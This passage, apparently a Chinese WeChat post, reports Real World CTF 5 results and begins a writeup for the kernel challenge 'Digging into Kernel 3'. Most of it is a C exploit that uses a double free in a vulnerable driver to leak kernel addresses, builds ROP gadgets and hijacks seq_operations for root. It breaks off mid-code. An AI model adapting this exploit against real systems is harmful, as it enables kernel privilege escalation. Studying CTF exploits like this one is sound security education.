Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="margin-bottom: 0px;line-height: 2em;"><span style="font-size:15px;">1月7日-8日，24小时 </span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="font-size:15px;">第五届 </span><span style="font-size: 15px;color: rgb(75, 183, 82);"><strong><span style="color: rgb(75, 183, 82);font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">Real World CTF</span></strong></span><span style="font-size:15px;"> 体验赛落下帷幕</span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="font-size:15px;">来自企业、高校和长亭合作伙伴的</span><span style="font-size: 15px;color: rgb(75, 183, 82);"><strong><span style="font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">239支</span></strong></span><span style="font-size:15px;">战队</span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="color: rgb(75, 183, 82);"><strong style="line-height: 2em;"><span style="font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">1000+人</span></strong></span><span style="font-size:15px;">集结体验赛</span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="color: rgb(75, 183, 82);"><strong style="line-height: 2em;"><span style="font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">192次</span></strong></span><span style="font-size:15px;">签到题解出，</span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="color: rgb(75, 183, 82);"><strong style="line-height: 2em;"><span style="font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">15次</span></strong></span><span style="font-size:15px;">一血，</span></p><p style="margin-bottom: 0px;line-height: 2em;"><span style="font-size:15px;">有效flag提交</span><span style="color: rgb(75, 183, 82);"><strong style="line-height: 2em;"><span style="color: rgb(75, 183, 82);font-size: 20px;" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)">851次</span></strong></span></p><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><p style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">最终，由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名，而去年的冠军团队，来自众多高校联合（南京大学，南京邮电、东南大学、中国矿业大学等）的SU战队以2187的总分获得第二名，由来自西安电子科技大学的L-team战队以总分2166名列第三名。</span></p><section style="margin-bottom: 0px;"><br/></section><section style="margin-bottom: 0px;line-height: 2em;"><span style="font-size: 15px;color: rgb(75, 183, 82);"><strong style="line-height: 2em;">以下为本次体验赛所有题目的Writeup。</strong></span></section><section style="margin-bottom: 0px;line-height: 2em;"><span style="font-size: 15px;"><strong style="line-height: 2em;"><span style="color: rgb(0, 158, 231);" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)"><br/></span></strong></span></section><section style="margin-bottom: 0px;line-height: 2em;"><span style="font-size: 15px;"><strong style="line-height: 2em;"><span style="color: rgb(0, 158, 231);" data-darkmode-color="rgb(0, 158, 231)" data-darkmode-original-color="rgb(0, 158, 231)"><br/></span></strong></span></section><section data-role="title" data-tools="135编辑器" data-id="93744" data-color="#7ac259" style="margin-bottom: 24px;"><section style="text-align: center;padding-top: 1em;padding-bottom: 1em;box-sizing: border-box;"><section><section style="display: inline-block;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="width: 4px;height: 32px;background: rgb(122, 194, 89);border-top-left-radius: 2px;border-bottom-left-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__9981"><br/></section><section style="border-bottom: 4px solid rgb(122, 194, 89);box-sizing: border-box;"><section style="padding: 5px 1.4em;background: rgb(255, 255, 255);border-width: 1px;border-style: dashed;border-color: rgb(51, 51, 51);letter-spacing: 2px;transform: rotate(0deg);" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" class="js_darkmode__9982"><section data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)"><span style="font-size:24px;"><strong>Pwn</strong></span></section></section></section><section style="width: 4px;height: 32px;background: rgb(122, 194, 89);border-top-right-radius: 2px;border-bottom-right-radius: 2px;overflow: hidden;" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__9983"><br/></section></section></section></section></section></section><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259" style="margin-bottom: 24px;"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;background-color: rgb(122, 194, 89);box-sizing: border-box;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__9984"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__9985" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><strong><span style="font-size:18px;">Digging into Kernel 3</span></strong></section></section></section></section></section><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size: 15px;">题目在5.19.0版本的Linux Kernel上运行了一个有漏洞的驱动，驱动代码比较简单，包括uaf，race condition，memory leak等多个漏洞。通过漏洞驱动获取root权限有很多种方法，这里贴出作者old-school的exploit代码（并非最简单的方法，甚至相对复杂，使用USMA/DirtyCred等手段可以写出更简洁更稳定的exploit）</span></section><section style="margin-bottom: 0px;"><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">#define _GNU_SOURCE</span></code><code><span class="code-snippet_outer">#include &lt;sched.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;stdio.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;stdlib.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;string.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;unistd.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;ctype.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;err.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sys/types.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sys/stat.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;fcntl.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sys/timerfd.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sys/ioctl.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;sys/syscall.h&gt;</span></code><code><span class="code-snippet_outer">#include &lt;linux/keyctl.h&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// user_key_payload</span></code><code><span class="code-snippet_outer">#define size_user_key_payload (24)</span></code><code><span class="code-snippet_outer">// (gdb) ptype /o struct user_key_payload</span></code><code><span class="code-snippet_outer">// /* offset    |  size */  type = struct user_key_payload {</span></code><code><span class="code-snippet_outer">// /*    0      |    16 */    struct callback_head {</span></code><code><span class="code-snippet_outer">// /*    0      |     8 */        struct callback_head *next;</span></code><code><span class="code-snippet_outer">// /*    8      |     8 */        void (*func)(struct callback_head *);</span></code><code><span class="code-snippet_outer">// </span></code><code><span class="code-snippet_outer">//                                /* total size (bytes):   16 */</span></code><code><span class="code-snippet_outer">//                            } rcu;</span></code><code><span class="code-snippet_outer">// /*   16      |     2 */    unsigned short datalen;</span></code><code><span class="code-snippet_outer">// /* XXX  6-byte hole  */</span></code><code><span class="code-snippet_outer">// /*   24      |     0 */    char data[];</span></code><code><span class="code-snippet_outer">// </span></code><code><span class="code-snippet_outer">//                            /* total size (bytes):   24 */</span></code><code><span class="code-snippet_outer">//                          }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int key_alloc(char *description, char *payload, int payload_len) {</span></code><code><span class="code-snippet_outer">    return syscall(</span></code><code><span class="code-snippet_outer">        __NR_add_key,</span></code><code><span class="code-snippet_outer">        &#34;user&#34;,</span></code><code><span class="code-snippet_outer">        description,</span></code><code><span class="code-snippet_outer">        payload,</span></code><code><span class="code-snippet_outer">        payload_len,</span></code><code><span class="code-snippet_outer">        KEY_SPEC_PROCESS_KEYRING</span></code><code><span class="code-snippet_outer">    );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) {</span></code><code><span class="code-snippet_outer">    char *tmp_desc = (char *)malloc(description_len + 100);</span></code><code><span class="code-snippet_outer">    memset(tmp_desc, 0, description_len + 100);</span></code><code><span class="code-snippet_outer">    memcpy(tmp_desc, description, description_len);</span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; spray_count; i++) {</span></code><code><span class="code-snippet_outer">        snprintf(tmp_desc + description_len, 100, &#34;_%d&#34;, i);</span></code><code><span class="code-snippet_outer">        keys[i] = key_alloc(tmp_desc, payload, payload_len);</span></code><code><span class="code-snippet_outer">        if(keys[i] == -1) {</span></code><code><span class="code-snippet_outer">            perror(&#34;add_key&#34;);</span></code><code><span class="code-snippet_outer">            printf(&#34;failed index: %d\n&#34;, i);</span></code><code><span class="code-snippet_outer">            // break;</span></code><code><span class="code-snippet_outer">            exit(-1);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    free(tmp_desc);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int key_revoke(int key_id) {</span></code><code><span class="code-snippet_outer">    return syscall(</span></code><code><span class="code-snippet_outer">        __NR_keyctl,</span></code><code><span class="code-snippet_outer">        KEYCTL_REVOKE,</span></code><code><span class="code-snippet_outer">        key_id,</span></code><code><span class="code-snippet_outer">        0,</span></code><code><span class="code-snippet_outer">        0,</span></code><code><span class="code-snippet_outer">        0</span></code><code><span class="code-snippet_outer">    );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int key_free(int key_id) {</span></code><code><span class="code-snippet_outer">    return syscall(</span></code><code><span class="code-snippet_outer">        __NR_keyctl,</span></code><code><span class="code-snippet_outer">        KEYCTL_UNLINK,</span></code><code><span class="code-snippet_outer">        key_id,</span></code><code><span class="code-snippet_outer">        KEY_SPEC_PROCESS_KEYRING</span></code><code><span class="code-snippet_outer">    );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int key_read(int key_id, char *retbuf, int retbuf_len) {</span></code><code><span class="code-snippet_outer">    return syscall(</span></code><code><span class="code-snippet_outer">        __NR_keyctl,</span></code><code><span class="code-snippet_outer">        KEYCTL_READ,</span></code><code><span class="code-snippet_outer">        key_id,</span></code><code><span class="code-snippet_outer">        retbuf,</span></code><code><span class="code-snippet_outer">        retbuf_len</span></code><code><span class="code-snippet_outer">    );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">// user_key_payload</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// utils</span></code><code><span class="code-snippet_outer">void breakpoint() {</span></code><code><span class="code-snippet_outer">    printf(&#34;press enter to continue...\n&#34;);</span></code><code><span class="code-snippet_outer">    getchar();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">#ifndef HEXDUMP_COLS</span></code><code><span class="code-snippet_outer">#define HEXDUMP_COLS 16</span></code><code><span class="code-snippet_outer">#endif</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void hexdump(void *mem, unsigned int len) {</span></code><code><span class="code-snippet_outer">    putchar(&#39;\n&#39;);</span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {</span></code><code><span class="code-snippet_outer">        /* print offset */</span></code><code><span class="code-snippet_outer">        if(i % HEXDUMP_COLS == 0) {</span></code><code><span class="code-snippet_outer">            printf(&#34;0x%06x: &#34;, i);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        /* print hex data */</span></code><code><span class="code-snippet_outer">        if(i &lt; len) {</span></code><code><span class="code-snippet_outer">            printf(&#34;%02x &#34;, 0xFF &amp; ((char*)mem)[i]);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        /* end of block, just aligning for ASCII dump */</span></code><code><span class="code-snippet_outer">        else {        </span></code><code><span class="code-snippet_outer">            printf(&#34;   &#34;);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        /* print ASCII dump */</span></code><code><span class="code-snippet_outer">        if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {</span></code><code><span class="code-snippet_outer">            for(int j = i - (HEXDUMP_COLS - 1); j &lt;= i; j++) {</span></code><code><span class="code-snippet_outer">                 /* end of block, not really printing */</span></code><code><span class="code-snippet_outer">                if(j &gt;= len) {</span></code><code><span class="code-snippet_outer">                    putchar(&#39; &#39;);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                /* printable char */</span></code><code><span class="code-snippet_outer">                else if(isprint(((char*)mem)[j])) {</span></code><code><span class="code-snippet_outer">                    putchar(0xFF &amp; ((char*)mem)[j]);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                 /* other char */</span></code><code><span class="code-snippet_outer">                else {</span></code><code><span class="code-snippet_outer">                    putchar(&#39;.&#39;);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            putchar(&#39;\n&#39;);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    putchar(&#39;\n&#39;);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">// utils</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// here we start</span></code><code><span class="code-snippet_outer">struct add_param {</span></code><code><span class="code-snippet_outer">    int idx;</span></code><code><span class="code-snippet_outer">    int size;</span></code><code><span class="code-snippet_outer">    char *cont;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int g_fd;</span></code><code><span class="code-snippet_outer">int seq_fd;</span></code><code><span class="code-snippet_outer">unsigned long long g_vmlinux = 0;</span></code><code><span class="code-snippet_outer">unsigned long long g_modprobe_path = 0;</span></code><code><span class="code-snippet_outer">unsigned long long g_do_task_dead = 0;</span></code><code><span class="code-snippet_outer">unsigned long long g_heap = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">unsigned long long pop_rax_ret = 0;</span></code><code><span class="code-snippet_outer">unsigned long long pop_rcx_ret = 0;</span></code><code><span class="code-snippet_outer">unsigned long long pop_rdi_ret = 0;</span></code><code><span class="code-snippet_outer">unsigned long long mov_ptr_rax_rdi_ret = 0;</span></code><code><span class="code-snippet_outer">unsigned long long ret = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void setup() {</span></code><code><span class="code-snippet_outer">    g_fd = open(&#34;/dev/rwctf&#34;, O_RDWR);</span></code><code><span class="code-snippet_outer">    printf(&#34;g_fd = %d\n&#34;, g_fd);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    system(&#34;echo &#39;#!/bin/sh\nchmod 777 /flag&#39; &gt; /tmp/x&#34;);</span></code><code><span class="code-snippet_outer">    system(&#34;chmod +x /tmp/x&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    system(&#34;echo -ne &#39;\\xff\\xff\\xff\\xff&#39; &gt; /tmp/dummy&#34;);</span></code><code><span class="code-snippet_outer">    system(&#34;chmod +x /tmp/dummy&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if(fork()) {</span></code><code><span class="code-snippet_outer">        sleep(3);</span></code><code><span class="code-snippet_outer">        system(&#34;/tmp/dummy 2&gt;/dev/null&#34;);</span></code><code><span class="code-snippet_outer">        system(&#34;ls -l /flag&#34;);</span></code><code><span class="code-snippet_outer">        system(&#34;cat /flag&#34;);</span></code><code><span class="code-snippet_outer">        exit(1);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void add(int idx, int size, char* cont) {</span></code><code><span class="code-snippet_outer">    struct add_param arg = {</span></code><code><span class="code-snippet_outer">        .idx = idx,</span></code><code><span class="code-snippet_outer">        .size = size,</span></code><code><span class="code-snippet_outer">        .cont = cont,</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ioctl(g_fd, 0xdeadbeef, &amp;arg); // no error check</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void delete(int idx) {</span></code><code><span class="code-snippet_outer">    ioctl(g_fd, 0xc0decafe, &amp;idx); // no error check</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void leak() {</span></code><code><span class="code-snippet_outer">    int OBJ_SIZE = 0x100;</span></code><code><span class="code-snippet_outer">    char *cont = malloc(OBJ_SIZE); </span></code><code><span class="code-snippet_outer">    memset(cont, &#39;x&#39;, OBJ_SIZE);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    add(0, OBJ_SIZE, cont);</span></code><code><span class="code-snippet_outer">    delete(0); // first free</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload;</span></code><code><span class="code-snippet_outer">    int SPARY_USER_KEY_CNT = 50;</span></code><code><span class="code-snippet_outer">    int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int));</span></code><code><span class="code-snippet_outer">    char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE);</span></code><code><span class="code-snippet_outer">    memset(user_key_payload, &#39;y&#39;, SPRAY_USER_KEY_SIZE);</span></code><code><span class="code-snippet_outer">    key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, &#34;spray_key&#34;, strlen(&#34;spray_key&#34;));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    delete(0); // double free</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;cont[0x0] = 0;</span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;cont[0x8] = 0;</span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;cont[0x10] = 0x2000; // user_key size</span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; 100; i++) {</span></code><code><span class="code-snippet_outer">        add(1, OBJ_SIZE, cont);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    char *recv_payload = malloc(0x2000);</span></code><code><span class="code-snippet_outer">    int anchor = 0;</span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; SPARY_USER_KEY_CNT; i++) {</span></code><code><span class="code-snippet_outer">        memset(recv_payload, 0, 0x2000);</span></code><code><span class="code-snippet_outer">        int retval = key_read(keys[i], recv_payload, 0x2000);</span></code><code><span class="code-snippet_outer">        // printf(&#34;retval = %d\n&#34;, retval);</span></code><code><span class="code-snippet_outer">        if(retval &gt; SPRAY_USER_KEY_SIZE) {</span></code><code><span class="code-snippet_outer">            printf(&#34;find anchor %d\n&#34;, anchor);</span></code><code><span class="code-snippet_outer">            printf(&#34;we leaked something...\n&#34;);</span></code><code><span class="code-snippet_outer">            anchor = i;</span></code><code><span class="code-snippet_outer">            break;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if(anchor == 0) {</span></code><code><span class="code-snippet_outer">        err(-1, &#34;bad luck, try again!\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; SPARY_USER_KEY_CNT; i++) {</span></code><code><span class="code-snippet_outer">        if(i != anchor) {</span></code><code><span class="code-snippet_outer">            key_revoke(keys[i]);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    memset(recv_payload, 0, 0x2000);</span></code><code><span class="code-snippet_outer">    int retval = key_read(keys[anchor], recv_payload, 0x2000);</span></code><code><span class="code-snippet_outer">    // printf(&#34;retval = %d\n&#34;, retval);</span></code><code><span class="code-snippet_outer">    if(retval &gt; SPRAY_USER_KEY_SIZE) {</span></code><code><span class="code-snippet_outer">        // hexdump(recv_payload, 0x200);</span></code><code><span class="code-snippet_outer">        unsigned long long heap = *(unsigned long long *)&amp;recv_payload[0xe8];</span></code><code><span class="code-snippet_outer">        unsigned long long _user_free_payload_rcu = *(unsigned long long *)&amp;recv_payload[0xf0];</span></code><code><span class="code-snippet_outer">        unsigned long long needle = *(unsigned long long *)&amp;recv_payload[0x100];</span></code><code><span class="code-snippet_outer">        if(needle == 0x7979797979797979 &amp;&amp; heap &amp;&amp; _user_free_payload_rcu) {</span></code><code><span class="code-snippet_outer">            printf(&#34;leaked heap @ 0x%llx\n&#34;, heap);</span></code><code><span class="code-snippet_outer">            printf(&#34;leaked user_free_payload_rcu @ 0x%llx\n&#34;, _user_free_payload_rcu);</span></code><code><span class="code-snippet_outer">            g_vmlinux = _user_free_payload_rcu - 0x339d8210;</span></code><code><span class="code-snippet_outer">            printf(&#34;vmlinux @ 0x%llx\n&#34;, g_vmlinux);</span></code><code><span class="code-snippet_outer">            g_modprobe_path = g_vmlinux + 0x34e510a0;</span></code><code><span class="code-snippet_outer">            // printf(&#34;modprobe_path @ 0x%llx\n&#34;, g_modprobe_path);</span></code><code><span class="code-snippet_outer">            g_do_task_dead = g_vmlinux + 0x336a3190;</span></code><code><span class="code-snippet_outer">            pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret</span></code><code><span class="code-snippet_outer">            pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret</span></code><code><span class="code-snippet_outer">            pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret</span></code><code><span class="code-snippet_outer">            mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret</span></code><code><span class="code-snippet_outer">            ret = g_vmlinux + 0x33600341; // ret</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    sleep(1); // free user_key</span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; 100; i++) {</span></code><code><span class="code-snippet_outer">        close(keys[i]);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    // // place gadgets</span></code><code><span class="code-snippet_outer">    // memset(cont, &#39;!&#39;, OBJ_SIZE);</span></code><code><span class="code-snippet_outer">    // for(int i = 0; i &lt; 100; i++) {</span></code><code><span class="code-snippet_outer">    //     add(1, OBJ_SIZE, cont);</span></code><code><span class="code-snippet_outer">    // }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">void hijack() {</span></code><code><span class="code-snippet_outer">    int OBJ_SIZE = 0x20; //</span></code><code><span class="code-snippet_outer">    char *cont = malloc(OBJ_SIZE); </span></code><code><span class="code-snippet_outer">    memset(cont, &#39;z&#39;, OBJ_SIZE);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    add(0, OBJ_SIZE, cont);</span></code><code><span class="code-snippet_outer">    delete(0); // first free</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    seq_fd = open(&#34;/proc/self/stat&#34;, O_RDONLY);</span></code><code><span class="code-snippet_outer">    delete(0); // second free</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    unsigned char fake_seq_operations[OBJ_SIZE];</span></code><code><span class="code-snippet_outer">    memset(fake_seq_operations, &#39;0&#39;, OBJ_SIZE);</span></code><code><span class="code-snippet_outer">    // *(unsigned long long *)&amp;fake_seq_operations[0x00] = 0x1111111111111111;             </span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160</span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;fake_seq_operations[0x08] = ret;             </span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;fake_seq_operations[0x10] = ret;             </span></code><code><span class="code-snippet_outer">    *(unsigned long long *)&amp;fake_seq_operations[0x18] = pop_rax_ret;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    for(int i = 0; i &lt; 1; i++) {</span></code><code><span class="code-snippet_outer">        add(1, OBJ_SIZE, fake_seq_operations);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    __asm__(</span></code><code><span class="code-snippet_outer">        &#34;mov r15, pop_rax_ret;&#34;</span></code><code><span 